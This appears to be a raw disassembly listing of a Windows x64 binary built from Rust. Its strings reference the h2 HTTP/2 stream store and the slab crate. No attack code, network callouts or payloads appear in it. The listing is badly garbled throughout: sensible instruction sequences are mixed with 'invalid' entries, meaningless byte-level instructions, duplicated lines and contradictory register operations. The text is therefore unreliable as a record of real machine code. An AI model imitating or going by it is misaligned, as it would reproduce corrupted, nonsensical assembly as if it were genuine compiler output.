mov qword [rsp + 0x90], rdi
mov dword [rsp + 0x98], r12d
mov dword [rsp + 0x9c], ebp
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x34], ebp
cmp rax, r12
jbe 0x14002728b
mov rax, qword [rsi + 0x1d0]
cmp dword [rax + r13], 2
je 0x14002728b
add rax, r13
cmp dword [rax + 0x114], ebp
jne 0x14002728b
lea r14, [rsi + 0x18]
lea r15, [rsi + 0x78]
mov ebx, dword [rax + 0x48]
lea rcx, [rsp + 0x90]
mov rdx, r15
mov r8, r14
call fcn.140027380
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x34], ebp
mov rax, qword [rsi + 0x1d8]
cmp rax, r12
jbe 0x14002728b
mov rcx, qword [rsi + 0x1d0]
cmp dword [rcx + r13], 2
je 0x14002728b
add rcx, r13
cmp dword [rcx + 0x114], ebp
jne 0x14002728b
cmp qword [rcx + 0x78], 0
je 0x140026fbf
cmp ebx, 0x3b9aca00
setne r8b
lea rdx, [rsp + 0x90]
mov rcx, r14
call fcn.14001f580
cmp byte [rsp + 0x2f], 0
je 0x140026f3c
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140027228
xor eax, eax
mov rbx, qword [rsp + 0xa0]
xchg byte [rbx], al
cmp al, 2
jne 0x140027214
mov rcx, rbx
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test rdx, rdx
jne 0x140026e4e
cmp byte [rcx + 0x50], 5
ja 0x140026e4e
cmp qword [rcx + 0x88], 0
jne 0x140026e4e
mov rdx, qword [rsi + 0x1b8]
mov rcx, qword [rsi + 0x1c0]
mov qword [rsi + 0x1b8], 0
test rdx, rdx
je 0x140026e4e
call qword [rdx + 8]
mov rax, qword [rsi + 0x1d8]
jmp 0x140026e4e
mov edx, dword [rcx + 0x11c]
test edx, edx
je 0x1400270ac
sub dword [rsi + 0x108], edx
mov ecx, dword [rsi + 0xc4]
add edx, ecx
jo 0x140026fe5
mov dword [rsi + 0xc4], edx
mov ecx, edx
mov edx, dword [rsi + 0xc0]
sub ecx, edx
jle 0x140027029
mov r8d, edx
shr r8d, 0x1f
add r8d, edx
sar r8d, 1
cmp ecx, r8d
jl 0x140027029
mov rdx, qword [rsi + 0x1b8]
mov rcx, qword [rsi + 0x1c0]
mov qword [rsi + 0x1b8], 0
test rdx, rdx
je 0x140027029
call qword [rdx + 8]
mov rax, qword [rsi + 0x1d8]
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x34], ebp
cmp rax, r12
jbe 0x1400272f1
mov rax, qword [rsi + 0x1d0]
cmp dword [rax + r13], 2
je 0x1400272f1
add rax, r13
cmp dword [rax + 0x114], ebp
jne 0x1400272f1
mov dword [rax + 0x11c], 0
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x34], ebp
cmp qword [rsi + 0x1d8], r12
jbe 0x1400272f1
mov rdx, qword [rsi + 0x1d0]
cmp dword [rdx + r13], 2
je 0x1400272f1
add rdx, r13
cmp dword [rdx + 0x114], ebp
jne 0x1400272f1
mov rcx, r15
call fcn.140027490
mov rax, qword [rsi + 0x1d8]
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x34], ebp
cmp rax, r12
jbe 0x1400272f1
mov rax, qword [rsi + 0x1d0]
cmp dword [rax + r13], 2
je 0x1400272f1
add rax, r13
cmp dword [rax + 0x114], ebp
jne 0x1400272f1
movups xmm0, xmmword [rax + 0x100]
movaps xmmword [rsp + 0x40], xmm0
mov ecx, dword [rax + 0x110]
mov dword [rsp + 0x50], ecx
mov dword [rax + 0x100], 0
lea r12, [rsp + 0xa8]
lea r13, [rsp + 0x40]
nop dword [rax]
mov rcx, r12
mov rdx, r13
mov r8, rdi
call fcn.140025260
mov rcx, qword [rsp + 0xa8]
test rcx, rcx
je 0x140026f08
mov edx, dword [rsp + 0xb0]
mov eax, dword [rsp + 0xb4]
mov dword [rsp + 0x88], edx
mov dword [rsp + 0x8c], eax
cmp qword [rcx + 0x10], rdx
jbe 0x14002724d
mov rcx, qword [rcx + 8]
imul rdx, rdx, 0x130
cmp dword [rcx + rdx], 2
je 0x14002724d
add rcx, rdx
cmp dword [rcx + 0x114], eax
jne 0x14002724d
cmp dword [rcx + 0x48], 0x3b9aca00
setne bpl
mov rcx, r12
mov rdx, r15
mov r8, r14
call fcn.140027380
mov rcx, r14
mov rdx, r12
mov r8d, ebp
call fcn.14001f580
jmp 0x140027110
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.1401105f0
test al, al
jne 0x140026f3c
mov byte [rsi + 0x11], 1
jmp 0x140026f3c
lea rax, [rsp + 0x8c]
mov qword [rsp + 0x30], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x58], rax
and al, 0x58
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x30]
jmp 0x1400272d2
lea rax, [rsp + 0x34]
mov qword [rsp + 0x40], rax
jmp 0x1400272a3
mov qword [rsp + 0x40], r8
lea rax, [0x14001b1f0]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x58], rax
and dl, byte [rax]
add byte [rax - 0x77], cl
and al, 0x58
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x58]
call fcn.140108560
lea rax, [rsp + 0x34]
mov qword [rsp + 0x40], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x48], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x58]
pop rax
call fcn.140108560
lea rcx, str.StreamRef::drop__mutex_poisoned
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov edx, 0x1f
call fcn.140108c40
invalid
invalid
lea rcx, str.assertion_failed:_self.ref_count___0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_stream.rsassertion_failed:_self.ref_count___usize::MAX
mov edx, 0x24
call fcn.140108630
int3
adc byte [rax], al
lea rcx, [rsp + 0x40]
call fcn.140108560
int3
mov r15, qword [rdx + 0x28]
mov r12, qword [rcx + 8]
mov rbp, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x20]
mov r14, qword [rdi + 0x18]
dec r14
jmp 0x140027506
mov rax, qword [rsp + 0x30]
and al, 0x30
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
call qword [rax + 0x10]
dec r14
mov rcx, r13
cmp r13, r15
std
std
je 0x140027601
cmp rbp, rbx
jbe 0x14002761d
mov r13, rbx
imul rax, rbx, 0xf0
mov rdx, qword [r12 + rax]
mov rbx, qword [r12 + rax + 8]
pop rsp
add al, 8
pop rsp
add al, 8
mov qword [r12 + rax], 2
mov qword [r12 + rax + 8], rcx
add byte [rax], al
add byte [rcx - 0x77], cl
add al, 8
cmp rdx, 2
je 0x140027615
mov qword [rdi + 0x18], r14
mov qword [rdi + 0x20], r13
cmp r13, r15
jne 0x140027560
test rdx, rdx
jne 0x140027641
mov qword [rsi + 0x18], 0
mov rbx, r15
jmp 0x140027575
add byte [rax - 0x7b], cl
ror byte [rdi], cl
test ah, cl
add byte [rax], al
add byte [rax - 0x39], cl
sbb byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x77], cl
pop rsi
and byte [rcx - 0x73], cl
adc al, 4
test rdx, rdx
je 0x140027635
mov qword [rsi + 0x18], 1
mov qword [rsi + 0x20], rbx
lea rdx, [r12 + rax]
add rdx, 0x10
mov r8d, 0xe0
lea rcx, [rsp + 0x28]
call fcn.140106530
mov rax, qword [rsp + 0x28]
cmp rax, 6
je 0x140027601
ret 0x4110
mov edx, eax
and edx, 6
loop case.0x14001e24d.99
loop case.0x14001e24d.99
lea rcx, [rax - 3]
cmp edx, 4
add al, 0xba
add byte [rax], al
add byte [rax], al
add al, 0xba
add byte [rax], al
add byte [rax], al
cmovne rcx, rdx
test rcx, rcx
je 0x1400275d0
cmp rcx, 1
je 0x1400274e0
lea rcx, [rsp + 0x30]
call fcn.140036d60
jmp 0x1400274f7
cmp rax, 3
jne 0x1400275f2
lea rcx, [rsp + 0x30]
call fcn.140036d60
mov rcx, qword [rsp + 0x90]
call fcn.140003040
jmp 0x1400274f7
invalid
invalid
invalid
invalid
lea rcx, [rsp + 0x28]
call fcn.140002e60
jmp 0x1400274f7
add rsp, 0x108
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add r12, rax
mov qword [r12 + 8], rbx
lea rcx, str.invalid_keyC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.140108990
invalid
add byte [rax - 0x73], cl
or eax, 0x117754
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
call fcn.140108970
lea rcx, str.assertion_failed:_slot.next.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0x25
call fcn.140108630
int3
int3
xor dl, al
test dl, 1
je 0x14002767e
cmp dword [rcx + 0xa0], 0
je 0x140027690
add byte [rax], al
add byte [rsi + rdx + 0x31], dh
shr bl, 0x1c
xor eax, eax
jmp 0x14002769a
cmp dword [rcx + 0x28], 0
sub byte [rax], al
sete dl
cmp dword [rcx + 0x2c], r8d
setbe al
and al, dl
jmp 0x14002769a
cmp dword [rcx + 0xa4], r8d
setbe al
movzx eax, al
mov edx, 1
add rsp, 0x28
ret
stc
mov rdx, rbx
mov r8, rsi
call fcn.140106530
mov rcx, r15
mov ecx, edi
mov ecx, edi
movabs rax, 0xffffffff00000000
and rax, rsi
movq xmm0, rsi
dec dword [rax + 0x21]
invalid
mov byte [rcx], bpl
mov byte [rcx + 1], r14b
mov dword [rcx + 4], r8d
mov edx, esi
or rdx, rax
sub dword [rax + rcx*4 + 0x71], eax
add dword [rcx + rcx*4 + 0x41], eax
add al, 0x89
or rdx, rax
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rdi
movdqu xmmword [rcx + 0x18], xmm0
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
adc eax, 0xffd23100
adc eax, 0xebab0
lea rcx, [rsp + 0x558]
mov r8d, 0xa0
mov rdx, rsi
call fcn.140106530
movups xmm0, xmmword [rsp + 0x2a8]
movups xmm1, xmmword [rsp + 0x2b8]
movaps xmmword [rsp + 0x530], xmm0
movaps xmmword [rsp + 0x540], xmm1
mov qword [rsp + 0x458], 2
mov qword [rsp + 0x478], 0
mov rcx, qword [rsp + 0x88]
mov rax, qword [rcx]
mov rbx, qword [rcx + 8]
mov rsi, qword [rcx + 0x10]
mov qword [rcx], 2
test rax, rax
je 0x14002798b
cmp rax, 1
jne 0x140027ceb
mov rax, qword [rsp + 0x88]
lea r14, [rax + 0x18]
mov rcx, r14
mov rdx, rbx
call fcn.14002b3d0
mov rcx, r14
mov rdx, rsi
call fcn.14002b3d0
add byte [rax], al
add byte [rax], al
cmp rbx, 0x1f
jae 0x1400279e1
or bl, 0x20
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002797e
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], bl
jmp 0x140027ad2
mov rax, qword [rsp + 0x88]
lea rcx, [rax + 0x18]
mov rdx, rbx
call fcn.14002b3d0
cmp rbx, 0x1f
jae 0x140027b2a
or bl, 0x20
mov rax, qword [rsp + 0x60]
and al, 0x60
and al, 0x60
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x1400279d4
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], bl
jmp 0x140027cd2
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140027a09
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x3f
inc rax
mov qword [rsp + 0xc0], rax
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0x37
add byte ss:[rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0x37
add byte ss:[rax], al
add rbx, 0xffffffffffffffe1
mov qword [rsp + 0x60], rax
cmp rbx, 0x80
jb 0x14002aec3
invalid
mov rcx, qword [rsp + 0x68]
lea r14, [rsp + 0x58]
nop word cs:[rax + rax]
cmp rcx, rax
cmp ecx, eax
jne 0x140027a6c
mov edx, 1
mov rcx, r14
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov edx, ebx
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0xc0], rax
cmp rax, rcx
ja 0x14002b05d
ror byte [rax - 0x77], 0x84
and al, 0xc0
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffcf
xor eax, 0x89480000
and al, 0x60
mov qword [rsp + 0x60], rax
mov r13, rbx
shr r13, 7
cmp rbx, 0x3fff
mov rbx, r13
ja 0x140027a50
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140027ac9
lea rcx, [rsp + 0x58]
and al, 0x58
mov edx, 1
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], r13b
inc rax
mov qword [rsp + 0xc0], rax
cmp rax, rcx
ja 0x14002b05d
mov qword [rsp + 0x60], rax
cmp rsi, 0x1f
jae 0x140027beb
or sil, 0x20
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140027b1c
lea rcx, [rsp + 0x58]
mov edx, 1
add byte [rax], al
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
invalid
push 0x24548b48
pop rax
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], sil
jmp 0x140027cd2
mov rax, qword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140027b52
lea rcx, [rsp + 0x58]
mov edx, 1
add byte [rax], al
add al, ch
test al, 0xab
invalid
dec dword [rax - 0x75]
and al, 0x60
mov rcx, qword [rsp + 0x68]
and al, 0x68
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x3f
inc rax
mov qword [rsp + 0xc0], rax
cmp rax, rcx
ja 0x14002b05d
add rbx, 0xffffffffffffffe1
mov qword [rsp + 0x60], rax
cmp rbx, 0x80
jb 0x14002aed9
mov rcx, qword [rsp + 0x68]
and al, 0x68
lea rsi, [rsp + 0x58]
nop
cmp rcx, rax
jne 0x140027bac
mov edx, 1
mov rcx, rsi
call fcn.1400126f0
stosd dword [rdi], eax
invalid
dec dword [rax - 0x75]
and al, 0x60
mov rcx, qword [rsp + 0x68]
stosd dword [rdi], eax
invalid
mov edx, ebx
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0xc0], rax
cmp rax, rcx
ja 0x14002b05d
mov qword [rsp + 0x60], rax
mov r14, rbx
shr r14, 7
cmp rbx, 0x3fff
mov rbx, r14
ja 0x140027b90
jmp 0x140027ca6
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140027c0e
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
and al, 0x60
and al, 0x60
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
and al, 0x58
mov byte [rdx + rax], 0x3f
inc rax
mov qword [rsp + 0xc0], rax
cmp rax, rcx
ja 0x14002b05d
rol byte [rax], 0
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0x32
xor al, 0
add byte [rax - 0x7d], cl
invalid
add byte [rax], al
add rsi, 0xffffffffffffffe1
mov qword [rsp + 0x60], rax
cmp rsi, 0x80
jb 0x14002aeef
mov rcx, qword [rsp + 0x68]
lea rbx, [rsp + 0x58]
nop dword [rax + rax]
cmp rcx, rax
jne 0x140027c6c
invalid
invalid
mov edx, 1
mov rcx, rbx
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov edx, esi
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0xc0], rax
cmp rax, rcx
ja 0x14002b05d
invalid
add byte [rax - 0x77], cl
and al, 0x60
mov qword [rsp + 0x60], rax
mov r14, rsi
shr r14, 7
shr esi, 7
shr esi, 7
cmp rsi, 0x3fff
mov rsi, r14
ja 0x140027c50
mov rcx, qword [rsp + 0x68]
push 0x75c13948
sbb dword [rax - 0x73], ecx
and al, 0x58
cmp rcx, rax
jne 0x140027cc9
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], r14b
inc rax
mov qword [rsp + 0xc0], rax
cmp rax, rcx
ja 0x14002b05d
mov qword [rsp + 0x60], rax
add r12, r15
mov qword [rsp + 0x480], 5
test byte [rax + rax*4], ah
add al, 0
add byte [0x188027cfb], al
mov dword [rsp + 0x2a8], 0
test byte [rax + rax*4], ah
add al, 0
add byte [0x188027cfb], al
mov dword [rsp + 0x2a8], 0
and al, 0xa8
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x530], al
test byte [rax + rsi], ah
invalid
add byte [rax], al
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x530]
add eax, 0x280f0000
mov word [rax + rax*2], fs
add eax, 0x110f0000
test byte [rax + rsi*4], ah
add al, byte [rax]
add byte [rdi], cl
adc dword [rsp + 0x2c0], ecx
mov word [rax + rax*8], fs
add al, byte [rax]
invalid
movaps xmm1, xmmword [rsp + 0x540]
movups xmmword [rsp + 0x2b0], xmm0
movups xmmword [rsp + 0x2c0], xmm1
mov word [rax + rax*8], fs
add al, byte [rax]
invalid
mov word [rax + rax*8], fs
add al, byte [rax]
add byte [rcx + rcx*4 - 0x44], cl
mov dword [rsp + 0x2d0], edi
mov qword [rsp + 0x2d8], r15
mov qword [rsp + 0x2e0], rdi
mov qword [rsp + 0x2e8], r12
lea rcx, [rsp + 0x2f0]
lea rdx, [rsp + 0x558]
mov r8d, 0xa0
call fcn.140106530
mov qword [rsp + 0x2d0], r15
mov dword [rsp + 0x2d0], edi
mov qword [rsp + 0x2d8], r15
mov qword [rsp + 0x2e0], rdi
mov qword [rsp + 0x2e8], r12
lea rcx, [rsp + 0x2f0]
lea rdx, [rsp + 0x558]
mov r8d, 0xa0
call fcn.140106530
mov rcx, qword [rsp + 0x88]
lea rax, [rcx + 0x18]
sbb byte [rax - 0x77], cl
test byte [rax + rbx*4], ah
add eax, dword [rax]
add byte [rax - 0x73], cl
xor byte [r8 - 0x77], cl
test byte [rax + rbx*8], ah
add al, 0
add byte [rbp + rcx*4 - 0x54], cl
and al, 0x60
add dword [rax], eax
add byte [rcx + 0x2742484], cl
add byte [rax], al
sbb byte [rax - 0x77], cl
test byte [rax + rbx*4], ah
add eax, dword [rax]
add byte [rax - 0x73], cl
xor byte [r8 - 0x77], cl
test byte [rax + rbx*8], ah
add al, 0
add byte [rbp + rcx*4 - 0x54], cl
and al, 0x60
add dword [rax], eax
add byte [rcx + 0x2742484], cl
add byte [rax], al
movzx eax, byte [rsp + 0x2f0]
cmp rax, 0xc
je 0x140028182
nop word cs:[rax + rax]
mov rcx, qword [rsp + 0x2f8]
mov r9, qword [rsp + 0x300]
mov byte [rsp + 0x2f0], 0xb
cmp al, 0xb
jne 0x140027e50
mov rdx, qword [rsp + 0x308]
mov qword [rsp + 0x308], 0
test rdx, rdx
ror byte [rdi], cl
test al, ah
add byte [rax], al
invalid
ror byte [rdi], cl
test al, ah
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
adc byte [rbx], al
add byte [rax], al
mov rsi, qword [rsp + 0x310]
mov r10, qword [rsp + 0x318]
mov rbx, qword [rsp + 0x320]
mov ecx, 4
lea rax, [rcx - 2]
dec rcx
cmp rax, 6
mov eax, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmovae rcx, rax
mov al, 7
lea r9, [0x140176c40]
movsxd r8, dword [r9 + rcx*4]
add r8, r9
mov r9, r10
mov rbp, rdx
mov ecx, edx
mov r10, qword [rsp + 0x268]
push 0x44000002
movzx ebx, byte [rsp + 0x4f]
push 0x44000002
movzx ebx, byte [rsp + 0x4f]
jmp r8
movzx edx, byte [rsp + 0x2f7]
shl edx, 0x10
xchg esp, eax
and al, 0xf7
add al, byte [rax]
add cl, al
loop 0x140027e6b
adc byte [rdi + rcx - 0x49], al
test byte [rsi*8 + 0x41000002], ah
and al, 0xf5
add al, byte [rax]
add byte [rcx + 9], al
invalid
movzx r8d, word [rsp + 0x2f5]
or r8d, edx
and al, 0xf5
add al, byte [rax]
add byte [rcx + 9], al
ror byte [rbx + 0x2f12494], 1
and al, 0xf1
add al, byte [rax]
invalid
mov edx, dword [rsp + 0x2f1]
and al, 0xf1
add al, byte [rax]
add byte [rcx - 0x3f], cl
invalid
shl r8, 0x28
shl eax, 0x28
loopne 0x140027e9a
shl rdx, 8
or rdx, r8
or rdx, rax
mov r8d, 3
lea rax, [r8 - 2]
dec byte [rcx - 1]
enter 0xffffffffffff8348, 0xfffffffffffffff8
invalid
mov eax, 0
dec byte [rcx - 1]
enter 0xffffffffffff8348, 0xfffffffffffffff8
invalid
cmovae r8, rax
mov al, 7
lea r10, [0x140176c40]
adc al, 0
adc eax, 0x14eda1
adc al, 0
movsxd r8, dword [r10 + r8*4]
add r8, r10
mov rsi, rcx
invalid
mov rbp, rdx
mov ecx, edx
mov r10, qword [rsp + 0x268]
mov edx, dword [rsp + 0x268]
invalid
movzx r11d, byte [rsp + 0x4f]
jmp r8
mov r14, rbp
shr r14, 0x10
mov al, 2
jmp 0x1400280c5
mov rdx, qword [rsp + 0x328]
mov qword [rsp + 0x328], 0
test rdx, rdx
je 0x140027f40
mov rsi, qword [rsp + 0x330]
mov r10, qword [rsp + 0x338]
add byte [rax], al
add byte [rax], al
mov rbx, qword [rsp + 0x340]
mov ecx, 2
add byte [rax], al
add eax, dword [rax]
add byte [rcx + 2], bh
add byte [rax], al
add byte [rax], al
lea rax, [rcx - 2]
lea eax, [rcx - 2]
dec rcx
cmp rax, 6
mov eax, 0
cmovae rcx, rax
mov al, 7
add byte [rax], al
add byte [rax + 0xf], cl
enter 0x7b0, 0x4c
lea r9, [0x140176c40]
lea r9, [0x140176c40]
movsxd r8, dword [r9 + rcx*4]
add r8, r9
mov r9, r10
mov rbp, rdx
invalid
mov ecx, edx
ror dword [rbx + rcx*4 - 0x6c], 1
and al, 0x68
add al, byte [rax]
add byte [rdi + rcx - 0x4a], al
pop rsp
and al, 0x4f
invalid
invalid
jmp r8
jmp r8
mov rdx, qword [rsp + 0x348]
mov qword [rsp + 0x348], 0
test rdx, rdx
je 0x140027fb3
xchg esp, eax
and al, 0x48
add eax, dword [rax]
add byte [rax - 0x39], cl
test byte [rax + rcx*2], ah
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rdx + rbx*2 + 0x48], cl
mov esi, dword [rsp + 0x350]
mov rsi, qword [rsp + 0x350]
mov r10, qword [rsp + 0x358]
mov rbx, qword [rsp + 0x360]
mov ecx, 5
xchg esp, eax
and al, 0x58
add eax, dword [rax]
add byte [rax - 0x75], cl
pushfq
and al, 0x60
add eax, dword [rax]
add byte [rcx + 5], bh
lea rax, [rcx - 2]
dec rcx
cmp rax, 6
mov eax, 0
cmovae rcx, rax
mov al, 7
lea r9, [0x140176c40]
movsxd r8, dword [r9 + rcx*4]
add r8, r9
mov r9, r10
mov rbp, rdx
mov ecx, edx
mov r10, qword [rsp + 0x268]
movzx r11d, byte [rsp + 0x4f]
jmp r8
mov rdx, qword [rsp + 0x368]
mov qword [rsp + 0x368], 0
test rdx, rdx
je 0x140028026
mov rsi, qword [rsp + 0x370]
jo 0x140027fd5
add byte [rax], al
mov r10, qword [rsp + 0x378]
mov edx, dword [rsp + 0x378]
mov rbx, qword [rsp + 0x380]
mov ecx, 6
lea rax, [rcx - 2]
dec rcx
cmp rax, 6
mov eax, 0
cmovae rcx, rax
mov al, 7
lea r9, [0x140176c40]
movsxd r8, dword [r9 + rcx*4]
add byte [rbp + 0x63], cl
add al, 0x89
add r8, r9
mov r9, r10
mov rbp, rdx
mov ecx, edx
mov r10, qword [rsp + 0x268]
movzx r11d, byte [rsp + 0x4f]
jmp r8
movzx eax, word [rsp + 0x388]
mov word [rsp + 0x388], 0
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
add byte [rax], al
invalid
mov rbp, qword [rsp + 0x3f8]
and rbp, 0xffffffffffff0000
or rbp, rax
mov ecx, 7
lea rax, [rcx - 2]
dec rcx
cmp rax, 6
cmp eax, 6
cmp eax, 6
mov eax, 0
cmovae rcx, rax
mov al, 7
lea rdx, [0x140176c40]
adc eax, 0x14ebcb
adc eax, 0x14ebcb
movsxd r8, dword [rdx + rcx*4]
add r8, rdx
mov edx, ebp
mov ecx, ebp
mov r9, qword [rsp + 0x440]
mov r10, qword [rsp + 0x268]
mov edx, dword [rsp + 0x268]
push 0x44000002
movzx ebx, byte [rsp + 0x4f]
movzx r11d, byte [rsp + 0x4f]
jmp r8
loopne 0x1400280e3
mov r14, rbp
mov esi, ebp
shr r14, 0x10
mov al, 3
invalid
mov ecx, edx
jmp 0x1400280ca
mov r14, rbp
out dx, al
shr r14, 0x10
mov al, 4
add al, 0xeb
invalid
add al, 0xeb
adc al, 0x49
invalid
mov r14, rbp
mov esi, ebp
shr r14, 0x10
mov al, 5
jmp 0x1400280c5
mov r14, rbp
shr r14, 0x10
mov al, 6
invalid
invalid
mov ecx, edx
mov r10, rbx
mov edx, ebx
mov edx, ebx
mov rdi, r9
mov r12, rsi
mov esp, esi
mov esp, esi
movzx edx, byte [rsp + 0x7f]
mov r15d, edx
movzx r11d, byte [rsp + 0x7e]
jmp case.0x140028096.6
movabs al, byte [0xf0248c8d48000002]
add al, byte [rax]
add al, ch
sal byte [rcx], 1
invalid
lea rcx, [rsp + 0x2f0]
lea ecx, [rsp + 0x2f0]
call case.0x140028096.388
jmp 0x140028182
invalid
add byte [rax - 0x75], cl
mov ah, 0x24
add al, 0
add byte [rdi], cl
invalid
mov rsi, qword [rsp + 0x448]
nop dword [rax]
lea rcx, [rsp + rax]
add rcx, 0x480
call fcn.14001d860
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x4d0], rax
movaps xmm0, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0x4c0], xmm0
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movaps xmm2, xmmword [rsp + 0x180]
movaps xmm3, xmmword [rsp + 0x190]
pushfq
and al, 0x90
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x4b0], ebx
pushfq
and al, 0x90
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x4b0], ebx
and al, 0xb0
add al, 0
add byte [rdi], cl
sub dword [rsp + 0x4a0], edx
movaps xmmword [rsp + 0x4a0], xmm2
movaps xmmword [rsp + 0x490], xmm1
movaps xmmword [rsp + 0x480], xmm0
add byte [rdi], cl
mov dh, 0x84
and al, 0xf0
add al, byte [rax]
add byte [rax - 0x7d], cl
clc
or al, 0xf
test dword [rsi], ebp
cld
invalid
invalid
add byte [rdi], cl
mov dh, 0x84
and al, 0xf0
add al, byte [rax]
add byte [rax - 0x7d], cl
clc
or al, 0xf
test dword [rsi], ebp
cld
invalid
mov byte [rsp + 0x2f0], 0xc
mov r8d, 0x9f
lea rcx, [rsp + 0x2f1]
mov rdx, r13
call fcn.140106530
cmp qword [rsp + 0x2a8], 0
je 0x1400281f0
mov rcx, qword [rsp + 0x2b0]
mov rdx, qword [rsp + 0x2c8]
cmp rcx, rdx
jae 0x14002af54
